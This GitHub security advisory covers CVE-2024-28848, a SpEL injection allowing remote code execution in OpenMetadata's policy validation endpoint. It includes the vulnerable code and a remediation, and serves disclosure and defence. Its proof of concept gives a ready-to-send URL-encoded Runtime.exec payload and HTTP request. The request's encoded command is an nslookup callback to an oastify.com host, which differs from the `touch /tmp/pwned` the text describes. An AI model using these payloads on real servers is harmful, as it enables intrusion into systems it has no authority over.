GHSA-5XV3-FM7G-865R

Vulnerability from github – Published: 2024-04-24 17:06 – Updated: 2024-04-24 17:06
VLAI?
Summary
OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)
Details

SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

The ‎CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from PolicyResource.java

  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }

  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA==
    • SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
    • Encode the payload using URL encoding:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
  • Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:openmetadata-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:06:02Z",
    "nvd_published_at": "2024-03-15T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nThe [`\u200eCompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.\n\n[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)\n\n```java\n  @GET\n  @Path(\"/validation/condition/{expression}\")\n  @Operation(\n      operationId = \"validateCondition\",\n      summary = \"Validate a given condition\",\n      description = \"Validate a given condition expression used in authoring rules.\",\n      responses = {\n        @ApiResponse(responseCode = \"204\", description = \"No value is returned\"),\n        @ApiResponse(responseCode = \"400\", description = \"Invalid expression\")\n      })\n  public void validateCondition(\n      @Context UriInfo uriInfo,\n      @Context SecurityContext securityContext,\n      @Parameter(description = \"Expression of validating rule\", schema = @Schema(type = \"string\"))\n          @PathParam(\"expression\")\n          String expression) {\n    CompiledRule.validateExpression(expression, Boolean.class);\n  }\n```\n\n```java\n  public static \u003cT\u003e void validateExpression(String condition, Class\u003cT\u003e clz) {\n    if (condition == null) {\n      return;\n    }\n    Expression expression = parseExpression(condition);\n    RuleEvaluator ruleEvaluator = new RuleEvaluator();\n    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);\n    try {\n      expression.getValue(evaluationContext, clz);\n    } catch (Exception exception) {\n      // Remove unnecessary class details in the exception message\n      String message = exception.getMessage().replaceAll(\"on type .*$\", \"\").replaceAll(\"on object .*$\", \"\");\n      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));\n    }\n  }\n```\n\nIn addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n#### Proof of concept\n\n- Prepare the payload\n\t- Encode `touch /tmp/pwned` in Base64 =\u003e `dG91Y2ggL3RtcC9wd25lZA==`\n\t- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n\t- Encode the payload using URL encoding:\n```\n%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29\n```\n\n- Send the payload using a valid JWT token:\n```http\nGET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2\nHost: sandbox.open-metadata.org\nAuthorization: Bearer \u003cnon-admin JWT\u003e\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
  "id": "GHSA-5xv3-fm7g-865r",
  "modified": "2024-04-24T17:06:02Z",
  "published": "2024-04-24T17:06:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28848"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)"
}


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Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.